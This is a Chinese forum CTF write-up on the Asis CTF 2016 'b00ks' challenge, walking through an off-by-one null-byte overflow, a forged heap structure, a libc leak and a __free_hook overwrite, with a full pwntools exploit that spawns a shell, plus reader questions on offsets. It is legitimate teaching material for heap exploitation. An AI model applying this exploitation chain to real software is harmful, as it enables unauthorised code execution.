首页
论坛
课程
招聘
Asis CTF 2016 b00ks
2018-4-1 15:50 16662

Asis CTF 2016 b00ks

2018-4-1 15:50
16662

Asis CTF 2016 b00ks

1. 序言

  本篇文章是对CTF WIKI Off-By-One漏洞类型的补充. CTF WIKI上面Off-By-One这一章节中两个例子均没有给出相应的EXP, 本次总结将其中一个例子详细分析一下, 希望能够对其他学习者有帮助

2. 程序简介

该程序是一个图书管理系统,可以添加书名,修改作者名以及写备注等功能.

3. 程序运行

1. Welcome

输入一个name

 

2. Create a book

> 1
Enter book name size: 10
Enter book name (Max 32 chars): Love

Enter book description size: 20
Enter book description: good

3. Delete

> 2
Enter the book id you want to delete: 1

4. Edit a book

> 3
Enter the book id you want to edit: 1
Enter new book description: very good

5. Print book detail

> 4
ID: 1
Name: Love
Description: very good
Author: Bill

6. Change current author name

> 5
Enter author name: Steven

7. Exit

6. Exit
> 6

4. 程序分析

1.b00k结构体

stuct book{
  int id;
  char *name;
  char *description;
  int size;
}

    程序运行, 创建一个结构体数组,设为b00ks.

 

2.b00ks位置

        0x55865b7c9040:    0x4141414141414141    0x4141414141414141
        0x55865b7c9050:    0x4141414141414141    0x4141414141414141 --> author
b00ks<--0x55865b7c9060:    0x000055865cc0d160(first book)    0x0000000000000000

3.Null byte overflow

 

    修改author, 输入32个字符,会出现空子节覆盖first b00k指针最后一个字节

0x55865b7c9040:    0x4141414141414141    0x4141414141414141
0x55865b7c9050:    0x4141414141414141    0x4141414141414141
0x55865b7c9060:    0x000055865cc0d100(0x60-->0x00)    0x000055865cc0d190

5. 漏洞介绍

    Off-By-One 顾名思义就是我们能够多写入一个字节的内容.

  举一个简单的例子:建造一条直栅栏(即不围圈),长30米、每条栅栏柱间相隔3米,需要多少条栅栏柱?

 

  最容易想到的答案是10, 但正确答案是911. 这种错误是C语言初学者常犯的错误, 经常在数组或循环出现.

6. 漏洞分析

    漏洞点: 问题出在对author的处理上, 当我们输入32个字符时, 程序会将第33个字符赋值为"\x00", 从而出现了Null Byte Overflow.
result

 

    思路分析: 创建两个b00k, 在first b00k中伪造b00k进而控制second b00kdescription指针, 将该指针改为__free_hook, 修改second b00kdescriptionexecve("/bin/sh"), 最后free

7. 分步讲解

1. 创建第一个first b00k

0x55f276c74160:    0x0000000000000001                   0x000055f276c74020--> Name
0x55f276c74170:    0x000055f276c740c0(description)       0x000000000000008c(140)

    结论:0x55f276c74160 --> 0x55f276c74100时, 0x55f276c74100正好落在first b00kdescription中, 属于可控范围, 为我们伪造b00k打下了基础.

 

2. 伪造b00k

0x55f276c740c0:    0x4141414141414141    0x4141414141414141
0x55f276c740d0:    0x4141414141414141    0x4141414141414141
0x55f276c740e0:    0x4141414141414141    0x4141414141414141
0x55f276c740f0:    0x4141414141414141    0x4141414141414141
0x55f276c74100:    0x0000000000000001    0x000055f276c74198----
0x55f276c74110:    0x000055f276c74198    0x000000000000ffff   |
......                                                   |
0x55f276c74160:    0x0000000000000001    0x000055f276c74020   |
0x55f276c74170:    0x000055f276c740c0    0x000000000000008c   |
0x55f276c74180:    0x0000000000000000    0x0000000000000031   |
0x55f276c74190:    0x0000000000000002    0x00007f282b8e7010 <-|
0x55f276c741a0:    0x00007f282b8c5010    0x0000000000021000
0x55f276c741b0:    0x0000000000000000    0x0000000000020e51

    结论: 可以看到0x55f276c74100已经是fake b00k

 

3. 空字节覆盖

0x55f275d55040:    0x4141414141414141    0x4141414141414141
0x55f275d55050:    0x4141414141414141    0x4141414141414141
0x55f275d55060:    0x000055f276c74100    0x000055f276c74190

    泄露的是second b00kname pointerdescription pointer.
这个指针和libc base address是有直接联系的.

0x000055f276c73000 0x000055f276c95000 rw-p    [heap]
0x00007f282b33e000 0x00007f282b4fe000 r-xp    /lib/x86_64-linux-gnu/libc-2.23.so
0x00007f282b4fe000 0x00007f282b6fe000 ---p    /lib/x86_64-linux-gnu/libc-2.23.so

  offset = 0x7f282b8e7010 - 0x00007f282b33e000 = 0x5a9010
  结论: 通过伪造的b00k, 我们泄露了 libc base address.

 

4.获取相关指针

 

主要是两个

malloc_hook = libc.symbols['__free_hook'] + libcbase
execve_addr = libcbase + 0x4526a

    结论: 通过libc base address, 退出了__free_hookexecve_addr在程序中的实际位置.

 

5.修改

 

    通过first b00k修改second b00kdescription指针为__free_hook, 在修改second b00k的description内容为execve("/bin/sh", null, environ), 最后执行free

0x55f276c74190:    0x0000000000000002    0x00007f282b7047a8 --
0x55f276c741a0:    0x00007f282b7047a8    0x0000000000021000  |
......                                                  |
0x7f282b7047a8 <__free_hook>:    0x00007f306ff4726a    0x0000000000000000

    结论: 由于__free_hook里面的内容不为NULL, 遂执行内容指向的指令, 即execve("/bin/sh", null, environ)

相关问题解答

为什么第二个 b00k申请的空间那么大?

    If we allocate a chunk bigger than the wilderness chunk, it mmap’s a new area for use. And this area is adjacent to the libc’s bss segment
简单的说, 申请小了不能够泄露出libc base address

完整EXP

from pwn import *

context.log_level = 'debug'
p = process("./b00ks")
libc = ELF("./libc.so.6")
gdb.attach(p)

def memleak1(p):
     p.sendline("4")
     log.info(p.recvuntil("Author:"))
     msg = p.recvline()
     log.info(p.recvuntil(">"))
     msg = msg.split("A"*32)[1].strip("\n")
     addr = u64(msg.ljust(8, "\x00"))
     log.success("Leaked address of struct object : " + hex(addr))
     return addr

def memleak2(p):
     p.sendline("4")
     p.recvuntil("Name: ")
     msg=p.recvline().strip("\n")
     msg=u64(msg.ljust(8, "\x00"))
     log.info(p.recv(timeout = 1))
     log.success("Leaked address of allocated area " + hex(msg))
     return msg

def change_ptr(p):
     log.progress("Changing the struct pointer")
     p.sendline("5")
     log.info(p.recvuntil(":"))
     p.sendline("A"*32)
     log.info(p.recvuntil(">"))

def fake_obj(p, payload, index):
     log.progress("Editing description")
     p.sendline("3")
     log.info(p.recvuntil(":"))
     p.sendline(str(index))
     log.info(p.recvuntil(":"))
     p.sendline(payload)

def create_book(p,size):
     p.sendline("1")
     log.info(p.recvuntil(":"))
     p.sendline(str(size))
     log.info(p.recvuntil(":"))
     p.sendline("asdf")
     log.info(p.recvuntil(":"))
     p.sendline(str(size))
     log.info(p.recvuntil(":"))
     p.sendline("asdf")
     log.info(p.recvuntil(">"))

def release():
     p.sendline("2")
     log.info(p.recvuntil(":"))
     p.sendline("2")

log.info(p.recvuntil(":"))
p.sendline("A"*32)
log.info(p.recvuntil(">"))
create_book(p, 140)
addr = memleak1(p) + 0x38             #address of second object on heap
create_book(p, 0x21000)               #allocate new area
payload = "A"*0x40 + p64(0x1) + p64(addr) * 2 + p64(0xffff) #fake obj
fake_obj(p, payload, 1)
change_ptr(p)                         #null overflow
addr = memleak2(p)
log.info(hex(addr))

#part two
'''
由于大家的环境不相同, 所以其中的个别参数需要自己稍微调整一下
0x5cd010 --> 泄露的地址到libcbase的距离
0x4526a --> libc.so.6中的execve("/bin/sh", NULL, NULL)的偏移
'''
libcbase = addr - 0x5cd010
log.info("libcbase: %s" % hex(libcbase))
free_hook = libc.symbols['__free_hook'] + libcbase
execve_addr = libcbase + 0x4526a

#part three
payload = p64(free_hook) * 2
fake_obj(p, payload, 1)
payload = p64(execve_addr)
fake_obj(p, payload, 2)
release()

p.interactive()

参考链接

几乎唯一的WP
CTF WIKI


[看雪官方]《安卓高级研修班》线下班,网课(12月)班开始同步招生!!

最后于 2018-4-20 19:25 被baolongshou编辑 ,原因: 贴中有稍许错误
收藏
点赞0
打赏
分享
最新回复 (14)
雪    币: 4
活跃值: 活跃值 (28)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
弟子规 活跃值 2018-4-15 23:57
2
0
请问这道题的的二进制文件可以在哪里下载呢?网上找半天没找到
雪    币: 4123
活跃值: 活跃值 (1499)
能力值: ( LV13,RANK:230 )
在线值:
发帖
回帖
粉丝
baolongshou 活跃值 2 2018-4-16 13:20
3
0
https://github.com/BBS-Bill-Gates/CTF/tree/4d073b6d36e2a01f2c40c37cf68d0111440cd7ac/ctf-wiki/heap/off_by_one
雪    币: 4123
活跃值: 活跃值 (1499)
能力值: ( LV13,RANK:230 )
在线值:
发帖
回帖
粉丝
baolongshou 活跃值 2 2018-4-16 13:20
4
0
二进制文件请看这里:https://github.com/BBS-Bill-Gates/CTF/tree/4d073b6d36e2a01f2c40c37cf68d0111440cd7ac/ctf-wiki/heap/off_by_one
雪    币: 5
活跃值: 活跃值 (16)
能力值: ( LV3,RANK:30 )
在线值:
发帖
回帖
粉丝
hacker丶mao 活跃值 2018-4-20 01:58
5
0
版主我用你的payload调用execve函数不能成功getshell
当我把part three改成 

#part three

edit(1,p64(binsh_addr)+p64(malloc_hook))

edit(2,p64(system_addr))

delete(2)


调用system函数时才能成功getshell,不知道是否与execve需要3个参数,而这里无法给足3个参数的原因,如果楼主能用execve函数成功getshell,希望可以指导一下

最后于 2018-4-20 02:34 被hacker丶mao编辑 ,原因:
雪    币: 4123
活跃值: 活跃值 (1499)
能力值: ( LV13,RANK:230 )
在线值:
发帖
回帖
粉丝
baolongshou 活跃值 2 2018-4-20 19:27
6
0
hacker丶mao 版主我用你的payload调用execve函数不能成功getshell当我把part three改成&nbsp;#part threeedit(1,p64(binsh_addr)+p64(ma ...
5楼同学,  我又重新作了一遍题,  发现一个偏移地址错了.
  0x5a9010  修改为0x5cd010,  你可以再试一下,  我这边是getshell,  了.
多谢斧正
雪    币: 5
活跃值: 活跃值 (16)
能力值: ( LV3,RANK:30 )
在线值:
发帖
回帖
粉丝
hacker丶mao 活跃值 2018-4-22 00:02
7
0
问题解决了,原来libc里面有个函数实现了execve("/bin/sh",  null,  environ),我刚开始找的就只是单纯调用execve函数的地址并没有任何参数,感谢楼主,获益匪浅
雪    币: 1
活跃值: 活跃值 (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
supermole 活跃值 2018-5-15 22:24
8
0
pwn萌新没看懂part  three,请问part  three的第一段payload为什么要p64(free_hook)  *  2?在delete  book的时候是把name、descript、以及book_ptr都free了,为什么修改了book1和book2的descript的内容可以在free的时候把shell执行起来?
雪    币: 221
活跃值: 活跃值 (11)
能力值: ( LV5,RANK:70 )
在线值:
发帖
回帖
粉丝
照片记录谁 活跃值 2018-6-4 23:39
9
0
supermole pwn萌新没看懂part three,请问part three的第一段payload为什么要p64(free_hook) * 2?在delete book的时候是把name、descript、以及bo ...
第一段payload=p64(free_hook)*2,是因为在构造fake  book_struct时book1的desc_ptr是指向book2_name_ptr的。后面在free时能够将shell执行起来,主要思想是通过edit  book_desc,将__free_hook处的内容修改为execve("/bin/sh",  NULL,  NULL)。
雪    币: 1812
活跃值: 活跃值 (750)
能力值: ( LV9,RANK:230 )
在线值:
发帖
回帖
粉丝
iddm 活跃值 4 2018-8-29 18:34
10
0
hacker丶mao 问题解决了,原来libc里面有个函数实现了execve("/bin/sh", null, environ),我刚开始找的就只是单纯调用execve函数的地址并没有任何参数,感谢楼主 ...
你好,execve("/bin/sh",  null,  environ)这个函数在libc的偏移怎么找?我只能找到execve()的偏移。
雪    币: 2
活跃值: 活跃值 (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
wx_M4x 活跃值 2018-8-30 08:55
11
0
iddm 你好,execve("/bin/sh", null, environ)这个函数在libc的偏移怎么找?我只能找到execve()的偏移。
https://github.com/david942j/one_gadget
雪    币: 31
活跃值: 活跃值 (27)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
freesec 活跃值 2018-12-28 09:18
12
0
请问不知道对方libc版本,怎么知道book2的name地址和libc基址的偏移是多少呢,本地可以调试查看,但远程的没法调试啊,多谢楼主
雪    币: 199
活跃值: 活跃值 (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
callmexxaqer 活跃值 2019-1-22 20:42
13
0
请问原题目中有给出libc.so吗?
如果没有给出libc的情况下,如何利用呢?
雪    币:
能力值: ( LV1,RANK:0 )
在线值:
发帖
回帖
粉丝
git_38724summerN 活跃值 2020-2-8 02:17
14
0
请问刚开始就是Null byte overflow的时候,覆盖后point的最低地址的数据为\x00,printf不是有00截断吗,为啥会输出
雪    币: 247
能力值: ( LV1,RANK:0 )
在线值:
发帖
回帖
粉丝
Andrie_Yean 活跃值 2020-8-6 11:32
15
0
git_38724summerN 请问刚开始就是Null byte overflow的时候,覆盖后point的最低地址的数据为\x00,printf不是有00截断吗,为啥会输出[em_5]
是先写入的 authorname,再创建的 book1,book1_ptr 会把多出来的 '\x00' 覆盖掉。
游客
登录 | 注册 方可回帖
返回